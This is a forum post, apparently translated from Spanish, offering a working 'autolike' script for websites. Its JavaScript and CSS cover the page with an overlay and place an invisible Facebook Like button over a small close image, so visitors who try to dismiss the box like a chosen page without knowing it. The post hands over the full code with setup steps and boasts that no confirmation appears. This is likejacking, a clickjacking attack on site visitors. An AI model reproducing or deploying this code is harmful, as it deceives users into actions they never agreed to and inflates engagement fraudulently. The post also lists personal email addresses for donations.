Hello friends , I come to share this script and finally worked for me after so many hours .
I have seen that there are several autolikes on the web and some are very well done but others are very inefficient , do not say that mine is as efficient 'm alone to learn and want to help something to the internet as much as they helped me.
I leave enlisted the pro 's and against 's so far.
In favor:
1. You will have more likes .
2. Free .
3. Independent of the page.
4. Just upload 2 files.
5. Facebook will not ask for confirmation autolike.
6. not affect adsense.
Against it:
1. If the user enters is not logged into Facebook , a window appears.
2. The hidden button can be the same page on the container, but you can change as you like , I'll explain in the post.
3. It takes a couple of seconds to close.
Brief explanation ; the script is a box that is displayed over the whole page and closes only if the user will click on the blemish (invisible button ) otherwise if it is not to log the user in facebook window " Facebook appears to you enter and the best is that I have almost 100 % certainty that there is no confirmation to give like.
subeimagenes.com/thumb/1-1394201.png
subeimagenes.com/img/2-1394205.html
The script I used only a few minutes, do not know how fast to work with likes , if you like try and leave your opinion in the comment box and try to improve the script , hey, not everything works right the first time.
Now for the tutorial,finally babies !:
The first file we'll call and will engine.js cookies 24 hours, and then after 24 hours will be displayed again the little picture , and you wonder what will happen to like ?, Then let's say the user when you click the like is removed but the window will not disappear , only have to give back and click again have the like . It's a bit inefficient , I know, but I found another way to make it go away , if thou knowest you , let me know
EXAMPLE HERE:
Register or login to see this content
CODE:
//Creado por saag10, la persona mas guapa que mantiene a raya el tráfico de bolillo y telera
var Cukie = getCookie("atlk");
//if cookie is not set, show the window with styles
if(Cukie!="1"){
displayBlock();
}
//for the cookies
function setCookie(cname, cvalue, exdays) {
var d = new Date();
d.setTime(d.getTime() + (exdays*24*60*60*1000));
var expires = "expires="+d.toUTCString();
document.cookie = cname + "=" + cvalue + "; " + expires;
}
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for(var i=0; i<ca.length; i++) {
var c = ca[i];
while (c.charAt(0)==' ') c = c.substring(1);
if (c.indexOf(name) != -1) return c.substring(name.length, c.length);
}
return "";
}
//Create elements and instance events
function displayBlock(){
$("document").ready(function(){
(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "http://connect.facebook.net/es_ES/sdk.js#xfbml=1&version=v2.3"; fjs.parentNode.insertBefore(js, fjs); }(document, "script", "facebook-jssdk"));
var laic = "<fb:like href='HERE THE DIRECTION OF YOUR FACEBOOK LIKE TO GIVE' show_faces='false' width='450' style='float:left; margin-left:-17px; margin-top:5px;'></fb:like> <div id='fb-root'></div> ";
var TotalLaics = "<div class='blanco'><div class='fb-page' data-href='HERE THE OTHER URL FACEBOOK OR OTHERWISE SAME' data-width='200px' data-hide-cover='false' data-show-facepile='false' data-show-posts='false'><div class='fb-xfbml-parse-ignore'></div></div> </div>";
var square = document.createElement("div");
square.id = "capaclick";
$("body").append(square);
var contenedor = document.createElement("div");
contenedor.id = "contenedor";
$(contenedor).insertAfter("#capaclick");
var x0_002 = document.createElement("div");
x0_002.id = "x0_002";
$(x0_002).insertAfter(contenedor);
var opaco = document.createElement("div");
opaco.id = "opaco";
$(opaco).insertAfter(x0_002);
$(opaco).html(laic);
var barrita = document.createElement("div");
barrita.id = "barrita";
barrita.innerHTML ="<h3> Gracias por visitarnos</h3>";
$(barrita).insertAfter(contenedor);
$("#contenedor").html(TotalLaics);
FB.Event.subscribe('edge.create', function() { setCookie("atlk","1",1); $(square).remove(); $(contenedor).remove(); $(x0_002).remove(); $(opaco).remove(); $(barrita).remove(); }); FB.Event.subscribe('edge.remove', function() { });
});
}
the red underlined words enter the desired facebook
The second file can call " estilachos.css ' or better prefer to avoid confusion:
#capaclick {background: rgba(0, 0, 0, 0.6); position: fixed; top: 0; left: 0; width: 100%; height: 100%; }
#contenedor {background: #f1f1f1;border-radius:5px;box-shadow: 0 0 5px 0px inset; width: 300px; height: 200px; position: fixed; left: 0; top: 0; bottom: 0; right: 0; margin: auto;}
#x0_002 {background: url(IMG); width: 30px; height: 30px; overflow: hidden; background-size: 100%; position: fixed; left: 0; top: 0; bottom: 160px; right: -260px; margin: auto;hidden z-index: 9990; }
#opaco {overflow: hidden; width: 30px; height:30px; position: fixed; left: 12; top: 0; bottom: 160px; right: 523px; margin: auto; z-index: 9999; -moz-opacity: 0.0; -khtml-opacity: 0.0; opacity: 0.0; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha"(Opacity=0); filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0); filter:alpha(opacity=0);}
#barrita {background-color: rgb(0, 130 , 255); width: 300px; height:40px; position: fixed; left: 0; top: 0; bottom: 158px; right: 0; margin: auto; overflow:hidden;}
.blanco { margin-left: 18%; margin-top: 40px;}
IMG now replaced red by this:
fordesigner.com/imguploads/Image/cjbc/zcool/png20080526/1211755976.png
Well, now you only add this in the < head> < / head>.
<script src="https://code.jquery.com/jquery-1.11.2.min.js"></script>
<script src="engine.js"></script>
<script src='http://connect.facebook.net/es_ES/all.js#xfbml=1'></script>
<link rel="stylesheet" href="estilachos.css">
The script I used only a few minutes, do not know how fast to work with likes , if you like to try and leave your opinion in the comment box and try to improve the script , hey, not everything works right the first time .
It has taken many hours to make this script , buttocks hurt me , I spent money buying junk food, coffee and chocolates to have carbohydrates in the brain haha and I will give completely free and opensourcewoow ! Although to be honest, if it works you will have more visitors and therefore more revenue , if it worked then you give me some tip you over your paypal and if not, just insult me saying I'm a failure. I am a student and I blocked one of my pages of google , estudihambres they say . But anyway, if you have the desire to give myself some money I leave my mail paypal--
sergiomen4@gmail.com or
davidefrain8@gmail.com
If you liked dóname share and 25 thousand dollars or insult me as best you prefer . greetings friends.. xD
Now leave your doubts I'll be gutoso to answer